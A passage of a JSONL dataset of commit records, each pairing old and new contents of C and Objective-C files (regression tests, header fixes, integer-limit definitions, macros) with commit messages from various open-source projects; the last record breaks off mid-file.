{"commit":"5b9f10c0f8dcaef1d142f3abfd4a717c9475d085","old_file":"tests\/regression\/01-cpa\/56-def_exc-fp1.c","new_file":"tests\/regression\/01-cpa\/56-def_exc-fp1.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.sv-comp.functions\n\/\/ manually minimized from sv-benchmarks\/c\/seq-mthreaded\/pals_lcr.3.ufo.UNBOUNDED.pals.c\n\/\/ used to not reach fixpoint due to def_exc range\n_Bool __VERIFIER_nondet_bool(void) ;\n\n_Bool mode1  ;\nvoid node1(void)\n{\n  if (mode1)\n    mode1 = 0;\n  else\n    mode1 = 1;\n}\n\nint main(void)\n{\n  mode1 = __VERIFIER_nondet_bool();\n  while (1)\n    node1();\n  return 0;\n}\n","subject":"Add test for def_exc bool fixpoint error","message":"Add test for def_exc bool fixpoint error\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"ac11de6c4775bb08fbdfbf35536dc39a425508f0","old_file":"iserv\/cbits\/iservmain.c","new_file":"iserv\/cbits\/iservmain.c","old_contents":"#include \"..\/rts\/PosixSource.h\"\n#include \"Rts.h\"\n\n#include \"HsFFI.h\"\n\nint main (int argc, char *argv[])\n{\n    RtsConfig conf = defaultRtsConfig;\n\n    \/\/ We never know what symbols GHC will look up in the future, so\n    \/\/ we must retain CAFs for running interpreted code.\n    conf.keep_cafs = 1;\n\n    extern StgClosure ZCMain_main_closure;\n    hs_main(argc, argv, &ZCMain_main_closure, conf);\n}\n","new_contents":"#include \"..\/rts\/PosixSource.h\"\n#include \"Rts.h\"\n\n#include \"HsFFI.h\"\n\nint main (int argc, char *argv[])\n{\n    RtsConfig conf = defaultRtsConfig;\n\n    \/\/ We never know what symbols GHC will look up in the future, so\n    \/\/ we must retain CAFs for running interpreted code.\n    conf.keep_cafs = 1;\n\n    conf.rts_opts_enabled = RtsOptsAll;\n    extern StgClosure ZCMain_main_closure;\n    hs_main(argc, argv, &ZCMain_main_closure, conf);\n}\n","subject":"Allow all RTS options to iserv","message":"Allow all RTS options to iserv\n\n(cherry picked from commit db121b2ec4596b99fed9781ec2d055f29e0d5b20)\n","lang":"C","license":"bsd-3-clause","repos":"GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc"}
{"commit":"08f5b1c7ec09c16d20466dd18317a6c6f3d4895b","old_file":"tests\/regression\/36-octapron\/26-combine-forget-local-lval.c","new_file":"tests\/regression\/36-octapron\/26-combine-forget-local-lval.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --sets ana.activated[+] octApron\n#include <assert.h>\n\nint f(int x) {\n  return x + 1;\n}\n\nint main(void) {\n  int y = 42;\n\n  y = f(42);\n  \/\/ combine should forget caller's y before unifying with y == 43 to avoid bottom\n\n  assert(y);\n  return 0;\n}\n","subject":"Add test for octApron combine forgetting return assign locally","message":"Add test for octApron combine forgetting return assign locally\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"f6de960fb76ab36550a119b1465e8a24e59af219","old_file":"plat\/rpi3\/rpi3_stack_protector.c","new_file":"plat\/rpi3\/rpi3_stack_protector.c","old_contents":"\/*\n * Copyright (c) 2017-2018, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <stdint.h>\n\n#include <lib\/utils.h>\n\n#include \"rpi3_private.h\"\n\n\/* Get 128 bits of entropy and fuse the values together to form the canary. *\/\n#define TRNG_NBYTES\t16U\n\nu_register_t plat_get_stack_protector_canary(void)\n{\n\tsize_t i;\n\tu_register_t buf[TRNG_NBYTES \/ sizeof(u_register_t)];\n\tu_register_t ret = 0U;\n\n\trpi3_rng_read(buf, sizeof(buf));\n\n\tfor (i = 0U; i < ARRAY_SIZE(buf); i++)\n\t\tret ^= buf[i];\n\n\treturn ret;\n}\n","new_contents":"\/*\n * Copyright (c) 2017-2019, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <stdint.h>\n\n#include <lib\/utils.h>\n#include <lib\/utils_def.h>\n\n#include \"rpi3_private.h\"\n\n\/* Get 128 bits of entropy and fuse the values together to form the canary. *\/\n#define TRNG_NBYTES\t16U\n\nu_register_t plat_get_stack_protector_canary(void)\n{\n\tsize_t i;\n\tu_register_t buf[TRNG_NBYTES \/ sizeof(u_register_t)];\n\tu_register_t ret = 0U;\n\n\trpi3_rng_read(buf, sizeof(buf));\n\n\tfor (i = 0U; i < ARRAY_SIZE(buf); i++)\n\t\tret ^= buf[i];\n\n\treturn ret;\n}\n","subject":"Fix compilation error when stack protector is enabled","message":"rpi3: Fix compilation error when stack protector is enabled\n\nInclude necessary header file to use ARRAY_SIZE() macro\n\nChange-Id: I5b7caccd02c14c598b7944cf4f347606c1e7a8e7\nSigned-off-by: Madhukar Pappireddy <c854e377c0ff08e0fa4357b6357bedff114c98a6@arm.com>\n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,achingupta\/arm-trusted-firmware"}
{"commit":"6dab1e9536c81bb9848c806faf4d0eb80cc48ca4","old_file":"src\/file-events\/headers\/jni_support.h","new_file":"src\/file-events\/headers\/jni_support.h","old_contents":"#pragma once\n\n#include <jni.h>\n\n\/**\n * Support for using JNI in a multi-threaded environment.\n *\/\nclass JniSupport {\npublic:\n    JniSupport(JavaVM* jvm);\n    JniSupport(JNIEnv* env);\n\nprotected:\n    jclass findClass(const char* className);\n    JNIEnv* getThreadEnv();\n\nprotected:\n    JavaVM* jvm;\n};\n\n\/**\n * Attach a native thread to JNI.\n *\/\nclass JniThreadAttacher : public JniSupport {\npublic:\n    JniThreadAttacher(JavaVM* jvm, const char* name, bool daemon);\n    ~JniThreadAttacher();\n};\n","new_contents":"#pragma once\n\n#include <jni.h>\n#include <stdexcept>\n\n\/**\n * Support for using JNI in a multi-threaded environment.\n *\/\nclass JniSupport {\npublic:\n    JniSupport(JavaVM* jvm);\n    JniSupport(JNIEnv* env);\n\nprotected:\n    jclass findClass(const char* className);\n    JNIEnv* getThreadEnv();\n\nprotected:\n    JavaVM* jvm;\n};\n\n\/**\n * Attach a native thread to JNI.\n *\/\nclass JniThreadAttacher : public JniSupport {\npublic:\n    JniThreadAttacher(JavaVM* jvm, const char* name, bool daemon);\n    ~JniThreadAttacher();\n};\n","subject":"Add include necessary on Linux","message":"Add include necessary on Linux\n","lang":"C","license":"apache-2.0","repos":"adammurdoch\/native-platform,adammurdoch\/native-platform,adammurdoch\/native-platform,adammurdoch\/native-platform"}
{"commit":"cc74b1067d791ce7f765eba8b67e2d1000c2cfcb","old_file":"src\/condor_c++_util\/directory.h","new_file":"src\/condor_c++_util\/directory.h","old_contents":"#ifndef DIRECTORY_H\n#define DIRECTORY_H\n\n#if defined (ULTRIX42) || defined(ULTRIX43)\t\/* _POSIX_SOURCE should have taken care of this, *\/\n#define __POSIX\t\t\t\/* but for some reason the ULTRIX version of dirent.h *\/\n#endif\t\t\t\t\t\/* is not POSIX conforming without it... *\/\n#include <dirent.h>\n\n\nclass Directory\n{\npublic:\n\tDirectory( const char *name );\n\t~Directory();\n\tvoid Rewind();\n\tchar *Next();\nprivate:\n\tDIR *dirp;\n};\n\n#endif\n","new_contents":"#ifndef DIRECTORY_H\n#define DIRECTORY_H\n\n#if defined (ULTRIX42) || defined(ULTRIX43)\n\t\/* _POSIX_SOURCE should have taken care of this,\n\t\tbut for some reason the ULTRIX version of dirent.h\n\t\tis not POSIX conforming without it...\n\t*\/\n#\tdefine __POSIX\n#endif\n\n#include <dirent.h>\n\n#if defined(SUNOS41)\n\t\/* Note that function seekdir() is not required by POSIX, but the sun\n\t   implementation of rewinddir() (which is required by POSIX) is\n\t   a macro utilizing seekdir().  Thus we need the prototype.\n\t*\/\n\textern \"C\" void seekdir( DIR *dirp, int loc );\n#endif\n\nclass Directory\n{\npublic:\n\tDirectory( const char *name );\n\t~Directory();\n\tvoid Rewind();\n\tchar *Next();\nprivate:\n\tDIR *dirp;\n};\n\n#endif\n","subject":"Add prototype for seekdir() for Suns.","message":"Add prototype for seekdir() for Suns.\n","lang":"C","license":"apache-2.0","repos":"htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,djw8605\/htcondor,djw8605\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,htcondor\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/condor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,djw8605\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,neurodebian\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/condor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,htcondor\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,htcondor\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/condor"}
{"commit":"dc544bd4b9662bdb72af33fc1120f3c189fa0308","old_file":"cc1\/tests\/test023.c","new_file":"cc1\/tests\/test023.c","old_contents":"","new_contents":"\n\/*\nname: TEST023\ndescription: Basic test for long constants\ncomments: This test is done for z80 data types\noutput:\nF1\nG1\tF1\tmain\n{\n-\nA2\tW\ti\nA3\tZ\tu\n\tA2\t#W1\t:W\n\tA2\t#WFFFFFFFF\t:W\n\tA2\t#WFFFFFFFF\t:W\n\tA2\t#WFFFFFFFF\t:W\n\tA2\t#WFFFFFFFF\t:W\n\tA2\t#W3\t:W\n\tA2\t#W1\t:W\n\tA2\t#W0\t:W\n\tA3\t#Z1\t:Z\n\tA3\t#ZFFFFFFFF\t:Z\n\tA3\t#ZFFFFFFFF\t:Z\n\tA3\t#ZFFFFFFFF\t:Z\n\tA3\t#ZFFFFFFFF\t:Z\n\tA3\t#Z3\t:Z\n\tA3\t#Z1\t:Z\n\tA3\t#Z0\t:Z\n\ty\t#I0\n}\n*\/\n\nint\nmain(void)\n{\n\tlong i;\n\tunsigned long u;\n\n\ti = 1;\n\ti = -1;\n\ti = -1l;\n\ti = -1u;\n\ti = -1ll;\n\ti = (1ll << 32) - 1 & 3;\n\ti = (long) ((1ll << 32) - 1) < 0;\n\ti = -1u < 0;\n\n\tu = 1;\n\tu = -1;\n\tu = -1l;\n\tu = -1u;\n\tu = -1ll;\n\tu = (1ll << 32) - 1 & 3;\n\tu = (long) ((1ll << 32) - 1) < 0;\n\tu = -1u < 0;\n\treturn 0;\n}\n","subject":"Add basic test for long constants","message":"Add basic test for long constants\n","lang":"C","license":"mit","repos":"8l\/scc,k0gaMSX\/kcc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc,8l\/scc"}
{"commit":"caceb4cf2704b445379874a36f0274ee54c141eb","old_file":"src\/libreset\/util\/macros.h","new_file":"src\/libreset\/util\/macros.h","old_contents":"#ifndef __MACROS_H__\n#define __MACROS_H__\n\n\/**\n * @file macros.h\n *\n * This file contains simple helper macros\n *\/\n\n\/**\n * @addtogroup internal_util_helper_macros \"(internal) helper macros\"\n *\n * This group contains helper macros for internal use only.\n *\n * @{\n *\/\n\n\/**\n * Computes the maximum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MAX(x,y)                                    \\\n        ((__typeof__(x)) x > (__typeof__(x)) y ?    \\\n         (__typeof__(x)) x : (__typeof__(x)) y)\n\n\/**\n * Computes the minimum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MIN(x,y)                    \\\n       ({ __typeof__ (x) _x = (x);  \\\n          __typeof__ (y) _y = (y);  \\\n          _x < _y ? _x : _y; })\n\n\/** @} *\/\n\n#endif \/\/__MACROS_H__\n","new_contents":"#ifndef __MACROS_H__\n#define __MACROS_H__\n\n\/**\n * @file macros.h\n *\n * This file contains simple helper macros\n *\/\n\n\/**\n * @addtogroup internal_util_helper_macros \"(internal) helper macros\"\n *\n * This group contains helper macros for internal use only.\n *\n * @{\n *\/\n\n\/**\n * Computes the maximum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MAX(x,y)                                    \\\n        ((__typeof__(x)) x > (__typeof__(x)) y ?    \\\n         (__typeof__(x)) x : (__typeof__(x)) y)\n\n\/**\n * Computes the minimum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MIN(x,y)                                    \\\n        ((__typeof__(x)) x > (__typeof__(x)) y ?    \\\n         (__typeof__(x)) y : (__typeof__(x)) x)\n\n\/** @} *\/\n\n#endif \/\/__MACROS_H__\n","subject":"Modify MIN(x,y) to not contain a scope","message":"Modify MIN(x,y) to not contain a scope\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/libreset,waysome\/libreset"}
{"commit":"1bebcf5659d89bc92b743ef201dbd9590744cfd3","old_file":"src\/tests\/test_hashtable.c","new_file":"src\/tests\/test_hashtable.c","old_contents":"","new_contents":"\/*\n * File: test_hashtable.c\n *\n * Testing suite for hashtables.\n *\n * Author: Jack Romo <sharrackor@gmail.com>\n *\/\n\n\n#include \"..\/cnoodle.h\"\n#include <glib.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n\ntypedef struct {\n    hashtable table;\n} hfixture;\n\n\nvoid table_setup(hfixture *hf, gconstpointer test_data) {\n    hf->table = make_hashtable();\n    t_entity *ent1 = make_entity(NULL, 0, 0, NULL);\n    ent1->id = 0;\n    hashtable_add(*(hf->table), (void *) ent1, ENTITY);\n    t_entity *ent2 = make_entity(NULL, 1, 1, (void *) ent1);\n    ent2->id = 1;\n    hashtable_add(*(hf->table), (void *) ent2, ENTITY);\n}\n\nvoid table_teardown(hfixture *hf, gconstpointer test_data) {\n    hashtable_free(hf->table);\n}\n\n\n\/\/ TODO: tests here\n\n\nint main() {\n    \/\/ TODO: run tests here\n}\n\n","subject":"Add setup and teardown for hashtable tests","message":"Add setup and teardown for hashtable tests\n","lang":"C","license":"mit","repos":"jackromo\/CNoodle"}
{"commit":"268fdc1e10931c3a9c0e4c8c6699139516429adc","old_file":"knode\/kngrouppropdlg.h","new_file":"knode\/kngrouppropdlg.h","old_contents":"\/*\n    kngrouppropdlg.h\n\n    KNode, the KDE newsreader\n    Copyright (c) 1999-2001 the KNode authors.\n    See file AUTHORS for details\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software Foundation,\n    Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, US\n*\/\n\n#ifndef KNGROUPPROPDLG_H\n#define KNGROUPPROPDLG_H\n\n#include <kdialogbase.h>\n\nclass QCheckBox;\n\nclass KLineEdit;\n\nclass KNGroup;\n\nnamespace KNConfig {\nclass IdentityWidget;\n};\n\n\nclass KNGroupPropDlg : public KDialogBase  {\n\n  public:\n    KNGroupPropDlg(KNGroup *group, QWidget *parent=0, const char *name=0);\n    ~KNGroupPropDlg();\n    \n    bool nickHasChanged() { return n_ickChanged; }\n    \n  protected:\n    KNGroup *g_rp;\n    bool n_ickChanged;\n    KNConfig::IdentityWidget* i_dWidget;\n    KLineEdit *n_ick;\n    QCheckBox *u_seCharset;\n    QComboBox *c_harset;\n    \n  protected slots:\n    void slotOk();\n  \n};\n\n#endif\n","new_contents":"\/*\n    kngrouppropdlg.h\n\n    KNode, the KDE newsreader\n    Copyright (c) 1999-2001 the KNode authors.\n    See file AUTHORS for details\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software Foundation,\n    Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, US\n*\/\n\n#ifndef KNGROUPPROPDLG_H\n#define KNGROUPPROPDLG_H\n\n#include <kdialogbase.h>\n\nclass QCheckBox;\nclass QComboBox;\n\nclass KLineEdit;\n\nclass KNGroup;\n\nnamespace KNConfig {\nclass IdentityWidget;\n};\n\n\nclass KNGroupPropDlg : public KDialogBase  {\n\n  public:\n    KNGroupPropDlg(KNGroup *group, QWidget *parent=0, const char *name=0);\n    ~KNGroupPropDlg();\n    \n    bool nickHasChanged() { return n_ickChanged; }\n    \n  protected:\n    KNGroup *g_rp;\n    bool n_ickChanged;\n    KNConfig::IdentityWidget* i_dWidget;\n    KLineEdit *n_ick;\n    QCheckBox *u_seCharset;\n    QComboBox *c_harset;\n    \n  protected slots:\n    void slotOk();\n  \n};\n\n#endif\n","subject":"Add forward declaration for QComboBox","message":"Add forward declaration for QComboBox\n\nsvn path=\/trunk\/kdenetwork\/knode\/; revision=144112\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"649ae48e2b2c5b9e03379294fa93aa100c850e71","old_file":"Paystack\/Classes\/PublicHeaders\/Paystack.h","new_file":"Paystack\/Classes\/PublicHeaders\/Paystack.h","old_contents":"\/\/\n\/\/  Paystack.h\n\/\/  Paystack\n\/\/\n\/\/  Created by Ibrahim Lawal on 02\/02\/16.\n\/\/  Copyright (c) 2016 Paystack. All rights reserved.\n\/\/\n\/\/ The code in this workspace was adapted from https:\/\/github.com\/stripe\/stripe-ios. \n\/\/ Stripe was replaced with Paystack - and STP with PSTCK - to avoid collisions within \n\/\/ apps that are using both Paystack and Stripe.\n\n#import <Paystack\/PSTCKAPIClient.h>\n#import <Paystack\/PaystackError.h>\n#import <Paystack\/PSTCKCardBrand.h>\n#import <Paystack\/PSTCKCardParams.h>\n#import <Paystack\/PSTCKTransactionParams.h>\n#import <Paystack\/PSTCKCard.h>\n#import <Paystack\/PSTCKCardValidationState.h>\n#import <Paystack\/PSTCKCardValidator.h>\n#import <Paystack\/PSTCKToken.h>\n#import <Paystack\/PSTCKRSA.h>\n\n#if TARGET_OS_IPHONE\n#import <Paystack\/PSTCKPaymentCardTextField.h>\n#endif\n","new_contents":"\/\/\n\/\/  Paystack.h\n\/\/  Paystack\n\/\/\n\/\/  Created by Ibrahim Lawal on 02\/02\/16.\n\/\/  Copyright (c) 2016 Paystack. All rights reserved.\n\/\/\n\/\/ The code in this workspace was adapted from https:\/\/github.com\/stripe\/stripe-ios. \n\/\/ Stripe was replaced with Paystack - and STP with PSTCK - to avoid collisions within \n\/\/ apps that are using both Paystack and Stripe.\n\n#import \"PSTCKAPIClient.h\"\n#import \"PaystackError.h\"\n#import \"PSTCKCardBrand.h\"\n#import \"PSTCKCardParams.h\"\n#import \"PSTCKTransactionParams.h\"\n#import \"PSTCKCard.h\"\n#import \"PSTCKCardValidationState.h\"\n#import \"PSTCKCardValidator.h\"\n#import \"PSTCKToken.h\"\n#import \"PSTCKRSA.h\"\n\n#if TARGET_OS_IPHONE\n#import \"PSTCKPaymentCardTextField.h\"\n#endif\n","subject":"Update umbrella header file declaration","message":"Update umbrella header file declaration\n","lang":"C","license":"mit","repos":"PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios,PaystackHQ\/paystack-ios"}
{"commit":"6e019dc5d59b16dd053e7519528f48bb2c7a24f4","old_file":"mtulio_d\/src\/mtuliod\/mtd_server_cmd_run.c","new_file":"mtulio_d\/src\/mtuliod\/mtd_server_cmd_run.c","old_contents":"","new_contents":"#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n\n#define PFIX_CLI \"[MTd]\"\n#define MAX_BUF_SIZE 200\n\nint mtd_server_cmd_run_HOSTNAME(char *msg_cmd, char *message);\n\n\n\/* Get hostname *\/\nint mtd_server_cmd_run_HOSTNAME(char *msg_cmd, char *message)\n{\n\tFILE *fd;\n\tchar str_cmd[MAX_BUF_SIZE], str_buf[MAX_BUF_SIZE];\n\tmemset (str_cmd, 0, MAX_BUF_SIZE);\n\n\t\/* Create a command *\/\n\tsprintf(str_cmd, \"hostname\");\n\n\t\/* Run a command *\/\n\tfd = popen(str_cmd, \"r\");\n\tif (!fd) {\n\t\tsprintf(message, \"%s_%s ERR%% Error reading hostname.\", PFIX_CLI, msg_cmd);\n\t\treturn 1;\n\t}\n\n    \/* Get command stdout *\/\n    while (fgets (str_buf, sizeof (str_buf), fd) <= 0);\n\n    pclose (fd);\n\n\tsprintf(message, \"%s_%s  OK# Hostname is: %s\", PFIX_CLI, msg_cmd, str_buf);\n\treturn 0;\n\n}\n","subject":"Create file to implement commands","message":"Create file to implement commands\n","lang":"C","license":"apache-2.0","repos":"mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb,mtulio\/kb"}
{"commit":"06cfb4f02ad9f2561302f21f4f38ec5f5ed4372f","old_file":"SmartDeviceLink\/SDLMacros.h","new_file":"SmartDeviceLink\/SDLMacros.h","old_contents":"\/\/\n\/\/  SDLMacros.h\n\/\/  SmartDeviceLink-iOS\n\/\/\n\/\/  Created by Muller, Alexander (A.) on 10\/17\/16.\n\/\/  Copyright © 2016 smartdevicelink. All rights reserved.\n\/\/\n\n#ifndef SDLMacros_h\n#define SDLMacros_h\n\n\/\/ Resolves issue of pre-xcode 8 versions due to NS_STRING_ENUM unavailability.\n#ifndef SDL_SWIFT_ENUM\n    #if __has_attribute(NS_STRING_ENUM)\n        #define SDL_SWIFT_ENUM NS_STRING_ENUM\n    #else\n        #define SDL_SWIFT_ENUM\n    #endif\n#endif\n\n#endif \/* SDLMacros_h *\/\n","new_contents":"\/\/\n\/\/  SDLMacros.h\n\/\/  SmartDeviceLink-iOS\n\/\/\n\/\/  Created by Muller, Alexander (A.) on 10\/17\/16.\n\/\/  Copyright © 2016 smartdevicelink. All rights reserved.\n\/\/\n\n#ifndef SDLMacros_h\n#define SDLMacros_h\n\n\/\/ Resolves issue of pre-xcode 8 versions due to NS_STRING_ENUM unavailability.\n#ifndef SDL_SWIFT_ENUM\n    #if __has_attribute(swift_wrapper)\n        #define SDL_SWIFT_ENUM NS_STRING_ENUM\n    #else\n        #define SDL_SWIFT_ENUM\n    #endif\n#endif\n\n#endif \/* SDLMacros_h *\/\n","subject":"Revert \"Changed macro to look specifically for NS_STRING_ENUM\"","message":"Revert \"Changed macro to look specifically for NS_STRING_ENUM\"\n\nThis reverts commit de01a9f7b3ed63f683604d3595568bacf5f54a5e.\n","lang":"C","license":"bsd-3-clause","repos":"APCVSRepo\/sdl_ios,FordDev\/sdl_ios,FordDev\/sdl_ios,kshala-ford\/sdl_ios,kshala-ford\/sdl_ios,APCVSRepo\/sdl_ios,kshala-ford\/sdl_ios,APCVSRepo\/sdl_ios,FordDev\/sdl_ios,kshala-ford\/sdl_ios,smartdevicelink\/sdl_ios,smartdevicelink\/sdl_ios,APCVSRepo\/sdl_ios,kshala-ford\/sdl_ios,APCVSRepo\/sdl_ios,smartdevicelink\/sdl_ios,smartdevicelink\/sdl_ios,FordDev\/sdl_ios,smartdevicelink\/sdl_ios,FordDev\/sdl_ios"}
{"commit":"4346c30bae8b1a64acba564f6775cb0bacd026e4","old_file":"generic\/include\/clc\/integer\/definitions.h","new_file":"generic\/include\/clc\/integer\/definitions.h","old_contents":"#define CHAR_BIT 8\n#define INT_MAX 2147483647\n#define INT_MIN -2147483648\n#define LONG_MAX  0x7fffffffffffffffL\n#define LONG_MIN -0x8000000000000000L\n#define SCHAR_MAX 127\n#define SCHAR_MIN -128\n#define CHAR_MAX 127\n#define CHAR_MIN -128\n#define SHRT_MAX 32767\n#define SHRT_MIN -32768\n#define UCHAR_MAX 255\n#define USHRT_MAX 65535\n#define UINT_MAX 0xffffffff\n#define ULONG_MAX 0xffffffffffffffffUL\n","new_contents":"#define CHAR_BIT 8\n#define INT_MAX 2147483647\n#define INT_MIN ((int)(-2147483647 - 1))\n#define LONG_MAX  0x7fffffffffffffffL\n#define LONG_MIN (-0x7fffffffffffffffL - 1)\n#define CHAR_MAX SCHAR_MAX\n#define CHAR_MIN SCHAR_MIN\n#define SCHAR_MAX 127\n#define SCHAR_MIN ((char)(-127 - 1))\n#define SHRT_MAX 32767\n#define SHRT_MIN ((short)(-32767 - 1))\n#define UCHAR_MAX 255\n#define USHRT_MAX 65535\n#define UINT_MAX 0xffffffff\n#define ULONG_MAX 0xffffffffffffffffUL\n","subject":"Update integer limits to comply with spec","message":"integer: Update integer limits to comply with spec\n\nThe values for the char\/short\/integer\/long minimums were declared with\ntheir actual values, not the definitions from the CL spec (v1.1).  As\na result, (-2147483648) was actually being treated as a long by the\ncompiler, not an int, which caused issues when trying to add\/subtract\nthat value from a vector.\n\nUpdate the definitions to use the values declared by the spec, and also\nadd explicit casts for the char\/short\/int minimums so that the compiler\nactually treats them as shorts\/chars. Without those casts, they\nactually end up stored as integers, and the compiler may end up storing\nthe INT_MIN as a long.\n\nThe compiler can sign extend the values if it needs to convert the\nchar->short, short->int, or int->long\n\nv2: Add explicit cast for INT_MIN and fix some type-o's and wrapping\n    in the commit message.\n\nReported-by: Moritz Pflanzer <moritz.pflanzer14@imperial.ac.uk>\nCC: Moritz Pflanzer <moritz.pflanzer14@imperial.ac.uk>\nReviewed-by: Tom Stellard <thomas.stellard@amd.com>\nSigned-off-by: Aaron Watry <awatry@gmail.com>\n\ngit-svn-id: e7f1ab7c2a259259587475a3e7520e757882f167@247661 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc"}
{"commit":"75463d8bb33ca74e64842c871740002fbc32c902","old_file":"src\/ios\/BEMServerSyncCommunicationHelper.h","new_file":"src\/ios\/BEMServerSyncCommunicationHelper.h","old_contents":"\/\/\n\/\/  DataUtils.h\n\/\/  CFC_Tracker\n\/\/\n\/\/  Created by Kalyanaraman Shankari on 3\/9\/15.\n\/\/  Copyright (c) 2015 Kalyanaraman Shankari. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <CoreLocation\/CoreLocation.h>\n\n@interface BEMServerSyncCommunicationHelper: NSObject\n\/\/ Top level method\n+ (void) backgroundSync:(void (^)(UIBackgroundFetchResult))completionHandler;\n\n\/\/ Wrappers around the communication methods\n+ (void) pushAndClearUserCache:(void (^)(BOOL))completionHandler;\n+ (void) pullIntoUserCache:(void (^)(BOOL))completionHandler;\n+ (void) pushAndClearStats:(void (^)(BOOL))completionHandler;\n\n\/\/ Communication methods (copied from communication handler to make it generic)\n+(void)phone_to_server:(NSArray*) entriesToPush\n     completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n+(void)server_to_phone:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n+(void)setClientStats:(NSDictionary*)statsToSend completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n\n+ (NSInteger)fetchedData:(NSData *)responseData;\n@end\n","new_contents":"\/\/\n\/\/  DataUtils.h\n\/\/  CFC_Tracker\n\/\/\n\/\/  Created by Kalyanaraman Shankari on 3\/9\/15.\n\/\/  Copyright (c) 2015 Kalyanaraman Shankari. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <CoreLocation\/CoreLocation.h>\n\ntypedef void (^SilentPushCompletionHandler)(UIBackgroundFetchResult);\n\n@interface BEMServerSyncCommunicationHelper: NSObject\n\/\/ Top level method\n+ (void) backgroundSync:(SilentPushCompletionHandler)completionHandler;\n\n\/\/ Wrappers around the communication methods\n+ (void) pushAndClearUserCache:(void (^)(BOOL))completionHandler;\n+ (void) pullIntoUserCache:(void (^)(BOOL))completionHandler;\n+ (void) pushAndClearStats:(void (^)(BOOL))completionHandler;\n\n\/\/ Communication methods (copied from communication handler to make it generic)\n+(void)phone_to_server:(NSArray*) entriesToPush\n     completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError 